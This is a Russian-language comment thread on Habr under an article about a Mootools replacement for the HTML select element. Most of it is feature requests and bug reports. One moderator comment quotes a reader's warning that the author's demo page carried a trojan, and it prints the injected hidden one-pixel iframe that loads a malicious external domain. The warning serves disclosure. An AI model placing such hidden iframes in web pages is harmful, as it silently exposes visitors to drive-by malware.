Комментарии 76
автор цены бы вам и вашему компоненту не было, если бы ваш select еще обладал включаемым режимом text, для ввода произвольного текста
я бы враз перешел на ваш вариант
но и так — просто отлично!
я бы враз перешел на ваш вариант
но и так — просто отлично!
Как опцию — могу сделать. Только надо подумать, как технически это реализовать.
Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)
Давайте подумаем, для чего обычно нужна возможность ввода текста? (жду варианты)
как вариант иногда приходится перечислять не весь список значений, просто потому что он очень большой по определению
скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
здесь очень пригодится возможность пользователю уточнить список и ввести данные руками
это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала
скажем, задать населенные пункты Свердловской области, для выбора того, где прописан человек
в таком случае выводятся только города, которых несколько десятков, но опускаются села и деревни
здесь очень пригодится возможность пользователю уточнить список и ввести данные руками
это первое что в голову пришло, а вообще вариантов много и мне часто не хватало такого функционала
То есть нужно:
1. Режим ввода текста
2. Колбэк, который вызывается при вводе каждого символа
3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста
еще?
1. Режим ввода текста
2. Колбэк, который вызывается при вводе каждого символа
3. Колбэк на enter (что значит, что мы закончили ввод и хотим результаты)
4. Колбэк, который вызывается, когда произошла пауза в N ms при вводе текста
еще?
мне достаточно только 1 пункта
остальное я бы делал сам
калбэк на нажатие кнопок мне не нужен, не вижу пока применения
и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок
остальное я бы делал сам
калбэк на нажатие кнопок мне не нужен, не вижу пока применения
и 3 пункт тоже не нужен, я против срабатываения логики на выбор элементов типа checkbox или select, все должно происходить очевидно и по нажатию кнопок
даже в стандартном элементе (на странице с примером) нет режима ввода текста, но если список открыть на набрать первую (пырвые) буквы слова, оно выделится. При больших списках это становится критично, а при малых — можно обойтись radio button'ом
но компонент, конечно, знатный получился =) Спасибо)
но компонент, конечно, знатный получился =) Спасибо)
Ну и конечно же что при вводе текста должно/может происходить? (тоже нужны варианты).
Такой контрол называется ComboBox ;)
ну не все же с Delphi знакомы :)
Ну не обязательно Delphi (сам не знаком с ним на практике).
И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.
И в .NET, и в ExtJS, и в Adobe Flex Framework, да везде он так и называется :) Комбинация ListBox'а (коим является select в html) и TextBox'а.
Ну у ComboBox было свойство, названия уже не вспомню, как раз от его значения зависело, можно писать свои варианты, или нельзя. То бишь ComboBox мог быть разным =)
есть готовое решение тут:
готовое решение комбобокса есть тут:
dhtmlx.com/docs/products/dhtmlxCombo/index.shtml
Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).
dhtmlx.com/docs/products/dhtmlxCombo/index.shtml
Edition: Standard — available for free download (to use under GPL) or under Commercial or Enterprise License (to use in commercial application and get support).
насчет стандартного поведения, у меня так не закрывается при повторном клике на нем. Убунта + firefox3
В стандартном селекте можно набирать первую букву и будет переходить фокус сразу…
в mootools 1.2 не надо писать
new Event(e)
, e
уже расширен спомощью new Event
, это происходит автоматически.вместо
можно писать
var li = new Element('li');
li.set('text', option.get('text') );
li.inject( this.selectbox );
li.setProperty('index', option.index);
можно писать
var li = new Element('li')
.set('text', option.get('text') )
.inject( this.selectbox )
.setProperty('index', option.index);
Спасибо, уберу это. Привык к 1.1)
Ура, а то NiceForms как-то подзаебал уже своими лагами. ^_^
на mac-styled select'е видны непрозрачные краешки, надо бы поправить =)
В ie6 обычные комбо-боксы, стилей нет.
респект за правильный курсор :) честно респект, т.к. в рунете общепринято «мощно жмакнуть — нужен палец».
А кастомный скролл ожидается?
А кастомный скролл ожидается?
На данный момент управление стрелками тоже не работает (FF 2.0.16).
НЛО прилетело и опубликовало эту надпись здесь
Очень нужная штука, респект автору!
Нам пришло письмо от внимательного пользователя, позволю себе привести из него цитату:
Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!
Я являюсь постоянным посетителем хабра (в качестве читателя). Сегодня я случайно обнаружил троян в ссылке одного из авторов на прилагаемое демо. Статья называется «Замена стандартного select с использованием Mootools», находится на данный момент второй по счету на индексе. В тексте статьи есть ссылка на демо, в которой помимо кода примера к статье имеется след. строчка:
<iframe src='http://light-money.cn/spl/index.php' width='1' height='1' style='visibility: hidden;'></iframe
Обнаружено было случайно, при желании изучить хтмл-код приведенный автором. Касперский троян не обнаружил, хотя обновления установлены последние. Хотел зарегистироваться и предупредить пользователей, но увы — регистрация оказалась недоступной. Убедительная просьба принять меры по удалению трояна или статьи во избежании заражения компьютеров пользователей.
Автор статьи оповещён. Я добавил предупреждение об опасности в текст самой статьи и очень жду, что реакция автора поста окажется быстрой. Спасибо!
на этом сайте imaker.ru/ на каждой странице такой iframe.
скорее всего был сплоит, сейчас страница отдает 404
Ой
В опере 9.25 у второго кастомного селекта не появляется скролл, а не влезшие пункты просто выпадают. Для сравнения, скрин из фф 3.
В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.
В ие6 получаю сообщение об ошибке, после ответа «нет» получаю второе, после ответа на котрое уже не происходит ничего нового. Но у меня ие6 не тот, что шел вместе с виндой, а standalone, так что может это косяк именно моего ие.
Можете куда-нибудь выложить этот standalone IE? Я бы под него поправил косяки.
Поставьте MultipleIE — неплохая, в общем, штука
отлично, юзал раньше elSelect.js, но он не обрабатывал события, чуть подправил чтобы эмулировал onChange, но ваш явно лучше. плюсанул в топик, в карму почему-то не получилось.
желаю багфиксов и дальнейшего развития!
желаю багфиксов и дальнейшего развития!
Bonch, Ваш сайт в данный момено ломают. В демке над примером виден список всех файлов вашего хостинга.
Это не ломают, это я, дурак, забыл лог выключить обработанных файлов (робот удаляет вражеские iframe, пока так сделал:) ).
Вопрос ко всем — я тут над алгоритмом думаю, пока ничего хорошего не придумал, может общественность поможет?
В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.
Как это сделать наиболее легким путем?
В демке imaker.ru/application/wwwroot/custom-select/ во втором дропбоксе, где есть прокрутка, список элементов должен прокручиваться, когда дошли до конца видимого списка.
Как это сделать наиболее легким путем?
НЛО прилетело и опубликовало эту надпись здесь
Замечательно получается.
А если сделать поддержку многострочных пунктов — кодеры будут «кипятком писать».
А если сделать поддержку многострочных пунктов — кодеры будут «кипятком писать».
а есть нечто похожее для jQuery? ))
Вот нашел что-то — не тестировал еще! просьба бывалых потестить 8)
www.acewebdesign.com.au/customselect.php
www.acewebdesign.com.au/customselect.php
Кстати было бы здорово, если js-либы были в utf-8. А то комментарии в файлах нечитабельные =)))
А так все здорово!
А так все здорово!
а на клик по label он реагирует?
Обновите пожалуйста файлы. А то не возможно скачать и демо не поссмотришь.
А есть возможность добавлять произвольный текст? и да выложите пожалуйста файлы в другое место
Актуально — посмотреть надо, а сайт не работает :(
Жаль демо не работает, как раз ищу подобное решение
Линки в посте мертвы, рекомендую ниже другой вариант глянуть, кто в поисках, как и я:
programmingdrunk.com/current-projects/dropdownReplacement/
programmingdrunk.com/current-projects/dropdownReplacement/
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
Замена стандартного select с использованием Mootools